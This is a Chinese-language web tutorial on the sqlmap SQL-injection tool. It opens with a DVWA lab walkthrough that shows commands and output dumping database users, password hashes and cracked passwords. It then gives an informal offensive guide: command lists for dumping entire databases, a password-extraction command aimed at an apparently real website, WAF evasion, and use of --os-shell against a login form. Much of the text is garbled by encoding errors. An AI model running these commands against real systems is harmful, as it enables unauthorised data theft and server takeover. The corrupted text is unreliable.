SQL注入之SQLmap入門 (注入檢測(cè)工具)

什么是SQLmap?
SQLmap是一款用來(lái)檢測(cè)與利用SQL注入漏洞的免費(fèi)開(kāi)源工具,有一個(gè)非常棒的特性,即對(duì)檢測(cè)與利用的自動(dòng)化處理(數(shù)據(jù)庫(kù)指紋、訪問(wèn)底層文件系統(tǒng)、執(zhí)行命令)。
讀者可以通過(guò)位于SourceForge的官方網(wǎng)站下載SQLmap源碼:http://sourceforge.net/projects/sqlmap/
為了方便大家使用腳本之家特提供一份無(wú)需安裝python環(huán)境的sqlmap:

sqlmap 一個(gè)自動(dòng)SQL 射入工具(sqlmap.py)漢化直接可用版
- 類型:掃瞄攻擊
- 大?。?/span>14MB
- 語(yǔ)言:英文軟件
- 時(shí)間:2015-01-04
SQLmap的作者是誰(shuí)?
Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者可以通過(guò)bernardo@sqlmap.org與他取得聯(lián)系,以及Miroslav Stampar (@stamparm)讀者可以通過(guò)miroslav@sqlmap.org與他聯(lián)系。
同時(shí)讀者也可以通過(guò)dev@sqlmap.org與SQLmap的所有開(kāi)發(fā)者聯(lián)系。
執(zhí)行SQLmap的命令是什么?
進(jìn)入sqlmap.py所在的目錄,執(zhí)行以下命令:
#python sqlmap.py -h
(譯注:選項(xiàng)列表太長(zhǎng)了,而且與最新版本有些差異,所以這里不再列出,請(qǐng)讀者下載最新版在自己機(jī)器上看吧)
SQLmap命令選項(xiàng)被歸類為目標(biāo)(Target)選項(xiàng)、請(qǐng)求(Request)選項(xiàng)、優(yōu)化、注入、檢測(cè)、技巧(Techniques)、指紋、枚舉等。
如何使用SQLmap:
為方便演示,我們創(chuàng)建兩個(gè)虛擬機(jī):
1、受害者機(jī)器, windows XP操作系統(tǒng),運(yùn)行一個(gè)web服務(wù)器,同時(shí)跑著一個(gè)包含漏洞的web應(yīng)用(DVWA)。
2、攻擊器機(jī)器,使用Ubuntu 12.04,包含SQLmap程序。
本次實(shí)驗(yàn)的目的:使用SQLmap得到以下信息:
3、枚舉MYSQL用戶名與密碼。
4、枚舉所有數(shù)據(jù)庫(kù)。
5、枚舉指定數(shù)據(jù)庫(kù)的數(shù)據(jù)表。
6、枚舉指定數(shù)據(jù)表中的所有用戶名與密碼。
使用SQLmap之前我們得到需要當(dāng)前會(huì)話cookies等信息,用來(lái)在滲透過(guò)程中維持連接狀態(tài),這里使用Firefox中名為“TamperData”的add-on獲取。
當(dāng)前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。
為方便演示,我們將DVWA安全等級(jí)設(shè)置為low:
接下來(lái)我們進(jìn)入頁(yè)面的“SQL Injection”部分,輸入任意值并提交。可以看到get請(qǐng)求的ID參數(shù)如下:
“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
因此該頁(yè)面就是我們的目標(biāo)頁(yè)面。
以下命令可以用來(lái)檢索當(dāng)前數(shù)據(jù)庫(kù)和當(dāng)前用戶:
“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”
使用選項(xiàng):
1、–cookie : 設(shè)置我們的cookie值“將DVWA安全等級(jí)從high設(shè)置為low”
2、-u : 指定目標(biāo)URL
3、-b : 獲取DBMS banner
4、–current-db : 獲取當(dāng)前數(shù)據(jù)庫(kù)
5、–current-user:獲取當(dāng)前用戶
結(jié)果如下:
可以看到結(jié)果如下:
DBMS : MySQLversion 5.0 OS versionUbuntu 12.04 current user:root current db :DVWA
以下命令用來(lái)枚舉所有的DBMS用戶和密碼hash,在以后更進(jìn)一步的攻擊中可以對(duì)密碼hash進(jìn)行破解:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”
使用選項(xiàng):
1、–string : 當(dāng)查詢可用時(shí)用來(lái)匹配頁(yè)面中的字符串
2、–users : 枚舉DBMS用戶
3、–password : 枚舉DBMS用戶密碼hash
結(jié)果如下:
databasemanagement system users [142]: [*] ”@’kingasmk’ [*]”@’localhost’ [*]‘debian-sys-maint’@'localhost’ [*]‘phpmyadmin’@'localhost’ [*]‘root’@’127.0.0.1′ [*] ‘root’@'::1′ [*]‘root’@'kingasmk’ [*]‘root’@'localhost’
數(shù)據(jù)庫(kù)管理系統(tǒng)用戶和密碼hash:
[*]debian-sys-maint [1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] phpmyadmin[1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] root [4]: password hash: *C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會(huì)枚舉系統(tǒng)中所有的數(shù)據(jù)庫(kù)schema:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”
使用選項(xiàng):
-
–dbs: 枚舉DBMS中的數(shù)據(jù)庫(kù)
結(jié)果如下:
availabledatabases [5]: [*]dvwa [*]information_schema [*]mysql [*]performance_schema [*]phpmyadmin
下面我們嘗試枚舉DVWA數(shù)據(jù)表,執(zhí)行以下命令:
“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”
使用選項(xiàng):
1、-D : 要枚舉的DBMS數(shù)據(jù)庫(kù)
2、–tables : 枚舉DBMS數(shù)據(jù)庫(kù)中的數(shù)據(jù)表
得到結(jié)果如下:
Database: dvwa [2 tables] +————+ | guestbook | | users | +————+
下面獲取用戶表的列,命令如下:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”
使用選項(xiàng):
-
-T : 要枚舉的DBMS數(shù)據(jù)庫(kù)表
-
–columns : 枚舉DBMS數(shù)據(jù)庫(kù)表中的所有列
結(jié)果如下:
Database: dvwa Table: users [6 columns] +————+————-+ | Column | Type| +————+————-+ | avatar |varchar(70) | | first_name |varchar(15) | | last_name |varchar(15) | | password |varchar(32) | | user |varchar(15) | | user_id |int(6) | +————+————-+
如上所示,以上為我們感興趣的列,表示用戶名與密碼等。下面將每一列的內(nèi)容提取出來(lái)。執(zhí)行以下命令,將用戶與密碼表中的所有用戶名與密碼dump出來(lái):
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”
使用選項(xiàng):
-
-T : 要枚舉的DBMS數(shù)據(jù)表
-
-C: 要枚舉的DBMS數(shù)據(jù)表中的列
-
–dump : 轉(zhuǎn)儲(chǔ)DBMS數(shù)據(jù)表項(xiàng)
SQLmap會(huì)提問(wèn)是否破解密碼,按回車確認(rèn):
得到所有用戶名與明文密碼如下:
Database: dvwa Table: users [5 entries] +———+———+———————————————+ | user_id | user| password | +———+———+———————————————+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) | | 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) | | 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) | +———+———+———————————————+
這時(shí)我們就可以利用admin帳戶登錄做任何事了。
總結(jié):
SQLmap是一個(gè)非常強(qiáng)大的工具,可以用來(lái)簡(jiǎn)化操作,并自動(dòng)處理SQL注入檢測(cè)與利用。
[via infosecinstitute]
下面腳本之家小編為大家分享點(diǎn)實(shí)際點(diǎn)的:
mssql access 直接爆表.然后你懂的
BT5里面的話前面就要加python
sqlmap.py -u url --dbs //爆數(shù)據(jù)庫(kù)
sqlmap.py -u url --current-db //爆當(dāng)前庫(kù)
sqlmap.py -u url --current-user //爆當(dāng)前用戶
sqlmap.py -u url --users 查看用戶權(quán)限
sqlmap.py -u url --tables -D 數(shù)據(jù)庫(kù) //爆表段
sqlmap.py -u url --columns -T 表段 -D 數(shù)據(jù)庫(kù) //爆字段
sqlmap.py -u url --dump -C 字段 -T 表段 -D 數(shù)據(jù)庫(kù) //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 數(shù)據(jù)庫(kù) //猜解1到3的字段
翻回來(lái)也可以
sqlmap.py -u url 判斷
sqlmap.py -u url --is-dba -v 這是判斷當(dāng)前數(shù)據(jù)庫(kù)的使用者是否是dba
sqlmap.py -u url --users -v 0 這句的目的是列舉數(shù)據(jù)庫(kù)的用戶
sqlmap.py -u url --passwords -v 0 這句的目的是獲取數(shù)據(jù)庫(kù)用戶的密碼
sqlmap.py -u url --privileges -v 0 這是判斷當(dāng)前的權(quán)限
sqlmap.py -u url --dbs -v 0 這句的目的是將所有的數(shù)據(jù)庫(kù)列出來(lái)
sqlmap.py -u url --tables -D '表' 爆表
sqlmap.py -u url --columns -T ‘表’-D ‘數(shù)據(jù)庫(kù)’爆列
sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 這里是查詢第2到第4行的內(nèi)
sqlmap.py -u url --dump -all -v 0
這兒我們將所有的庫(kù)導(dǎo)出來(lái),我想這就是前段時(shí)間盛傳的脫褲吧,在執(zhí)行這項(xiàng)操作的時(shí)候,會(huì)把所有的表里的內(nèi)容導(dǎo)入到當(dāng)前的一個(gè)目錄下,看著清楚明了,但是花費(fèi)的時(shí)間和很長(zhǎng)。
sqlmap -u "http://www.newwide.com/newsphp?class=news&id=5&page=1&catalog_id=2" --users --password 爆用戶密碼
最近看到很多大牛發(fā)sqlmap的視頻教程。
然后偶就屁顛屁顛滾去下了一個(gè),然后尼瑪,一連從頭看到尾。。。。。。各種科普啊,看視頻有點(diǎn)浪費(fèi)時(shí)間。
各位別去被坑爹了,來(lái)個(gè)sqlmap 簡(jiǎn)易教程算了,何必浪費(fèi)看視頻的時(shí)間。
sqlmap 再牛逼也就是個(gè)python的腳本,腳本再牛逼也得有–help -hh
所以第一件事當(dāng)然是滾去看幫助文檔。
sqlmap -hh
我操。。。。。。。這么多英文,多少只草泥馬在心中奔騰,咋辦,硬著頭皮看唄,有些人頭皮硬不了咋辦,簡(jiǎn)單,來(lái),哥教你簡(jiǎn)單的
注入分法不同,種類不同,來(lái)個(gè)簡(jiǎn)單的分類:
1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”
2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie類注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,區(qū)分完畢再來(lái)后續(xù)的
需要數(shù)據(jù)庫(kù)好:–dbs
得到數(shù)據(jù)庫(kù)名稱xxx,需要表: -D xxx –tables
得到表名xxxx,需要段:-D xxx -T xxxx –columns
得到段內(nèi)有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump
那么我們來(lái)理解一下,-D -T -C 是干嗎的,當(dāng)然就是知道其名稱,指定使用其。
–dbs –tables –columns 是干嗎的,當(dāng)然就是不知道名稱,列出來(lái)唄
–dump 那自然就是字面意思,類似于導(dǎo)出數(shù)據(jù)的行為
其實(shí)注入有了上面這幾個(gè)命令,妥妥的夠用了,不過(guò)還需要繞waf –tamper=”"
注入被識(shí)別出來(lái)是工具,斷開(kāi)咋辦–user-agent=”"
再多牛逼的功能都是慢慢積累出來(lái)的,別想一口吃成胖子
好,跑數(shù)據(jù)庫(kù)就是這么簡(jiǎn)單,于是呢來(lái)一個(gè)稍微有點(diǎn)干貨的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷貝post數(shù)據(jù),很麻煩,我想讓sqlmap自動(dòng)跑post注入
sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的幫我跑了post注入,并且找到了post的注入點(diǎn)jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs
于是我用上面的命令看看數(shù)據(jù)庫(kù)
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba
順便看看當(dāng)前用戶是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a
用了上面的命令 -a能得到什么呢:自己去看幫助吧。
幫你篩選了一下,-a下面的那些命令是用來(lái)看用戶,看主機(jī),看權(quán)限的。
后來(lái)呢,我發(fā)現(xiàn)權(quán)限還是挺高的,同時(shí)呢,我跑出來(lái)了數(shù)據(jù)庫(kù)名稱kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables
同時(shí)我找到了網(wǎng)站路徑,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以執(zhí)行系統(tǒng)命令,同時(shí)還發(fā)現(xiàn)了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 這些命令在需要用的時(shí)候使用就是了,會(huì)給你帶來(lái)意想不到的驚喜
與此同時(shí),我發(fā)現(xiàn)tables里面沒(méi)有我想要的東西,我也找不到合適的內(nèi)容,咋辦呢,心一橫,我決定把所有的數(shù)據(jù)庫(kù)內(nèi)容跑出來(lái)自己找,于是我這么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all
然后牛逼的sqlmap就開(kāi)始跑啊跑,然后緊接著我的蛋就碎了,尼瑪,sqlmap一會(huì)就問(wèn)你一次要不要破解密碼,要不要這個(gè),要不要那個(gè),我和我的小朋友們都想擦你妹夫,功夫不負(fù)有心人,我又看見(jiàn)了一個(gè)命令 –batch 可以自動(dòng)選擇sqlmap默認(rèn)選項(xiàng)
于是,我可以和我的小朋友們玩耍去了,再也不用看著sqlmap拖庫(kù)了。
總結(jié)下來(lái),幫助文檔還是很重要的,多看看,總會(huì)有些收獲:
為了避免各位看英文看到吐,大概總結(jié)下:
Target: 字面意思,目標(biāo),那么就是確定目標(biāo)的
Request: 字面意思,請(qǐng)求,就是定義請(qǐng)求內(nèi)容的,比如post數(shù)據(jù),http頭,cookie注入,http頭污染等等
Optimization:字面意思,調(diào)節(jié)性能,等等
Injection: 字面意思,注入的設(shè)置內(nèi)容基本在這里,比如指定注入點(diǎn),指定db,指定系統(tǒng),等等
Detection:
基本就是用在確認(rèn)注入范圍,尋找注入點(diǎn)區(qū)域,這些
Technique:
基本用在確定注入手段,以及攻擊方式
Fingerprint:
基本用在指紋識(shí)別,用的很少
Enumeration:
枚舉信息,主要用在注入中,很重要,很常用
Brute force:
用來(lái)爆破,其實(shí)主要是枚舉tables columns用的
User-defined function injection:
現(xiàn)在只有udf提權(quán),以及指定一些自己定義的sqlmap腳本用,高端使用,求大牛指點(diǎn)
File system access
主要是文件讀取,文件寫入
Operating system access
主要用在對(duì)系統(tǒng)操作,例如os-shell 以及 后續(xù)的連接metasploit 實(shí)現(xiàn)后滲透攻擊
windows registry access
基本就是注冊(cè)表操作了
General
字面意思,綜合的內(nèi)容,一些特殊的功能實(shí)現(xiàn),我在這里找到了crawl batch這些非常好用的參數(shù)
Miscellaneous
目測(cè)高端應(yīng)用,還沒(méi)怎么用過(guò),求大神指教
如上面總結(jié)的,大概紅字就是常用的命令,剩下的不常用里面也有很多很不錯(cuò),在特殊情況下適用的內(nèi)容,反正本貼科普而已。
字有點(diǎn)多,想看的菜鳥(niǎo)朋友認(rèn)真看下來(lái)應(yīng)該會(huì)有些收獲,菜鳥(niǎo)們?nèi)绻惺裁雌渌钠婕家桑€希望分享1、2 共同進(jìn)步??!
相關(guān)文章
SQLMAP Win 下Python環(huán)境運(yùn)行不正常解決方法(已測(cè))
這篇文章主要介紹了SQLMAP Win 下Python環(huán)境運(yùn)行不正常解決方法(已測(cè)),需要的朋友可以參考下2015-09-04- 上一篇文章《sqlmap用戶手冊(cè)》其實(shí)只寫了大部分可能用到的參數(shù),還有些并未寫,這次補(bǔ)上~2014-07-29
- sqlmap 是一個(gè)自動(dòng)SQL 射入工具。文章內(nèi)容有點(diǎn)長(zhǎng),但都是精華,讀者們耐心的看吧,續(xù)篇的鏈接在文末。2014-07-29
- sqlmap 是一個(gè)自動(dòng)SQL 射入工具。本文收集了一些利用Sqlmap做注入測(cè)試的TIPS,其中也包含一點(diǎn)繞WAF的技巧,便于大家集中查閱,歡迎接樓補(bǔ)充、分享。2014-07-29
- 在Windows XP上安裝和運(yùn)行SqlMap的步驟分享,其實(shí)就是安裝一個(gè)python,然后將gui界面復(fù)制到里面2015-09-03
- SQLMAP 視頻動(dòng)畫(huà)教程,方便新手朋友2012-10-16
- 看大牛的視頻,學(xué)習(xí)一下,附上截圖 算是轉(zhuǎn)載吧...只是為了分享一下,方便需要的朋友2012-10-16
- SQLMAP 注射工具用法 著名黑客注射工具sqlmap的使用方法2012-10-16
sqlmap 一個(gè)自動(dòng)SQL 射入工具(sqlmap.py)漢化直接可用版
sqlmap 是一個(gè)自動(dòng)SQL 射入工具。它是可勝任執(zhí)行一個(gè)廣泛的數(shù)據(jù)庫(kù)管理系統(tǒng)后端指印, 檢索遙遠(yuǎn)的DBMS 數(shù)據(jù)庫(kù), usernames, 桌, 專欄, 列舉整個(gè)DBMS, 讀了系統(tǒng)文件和利用導(dǎo)致S2015-01-04- 支持現(xiàn)在幾乎所有的數(shù)據(jù)庫(kù),比國(guó)內(nèi)的任何工具都強(qiáng)。我都開(kāi)始懷疑穿山甲是不是源自于它2012-10-01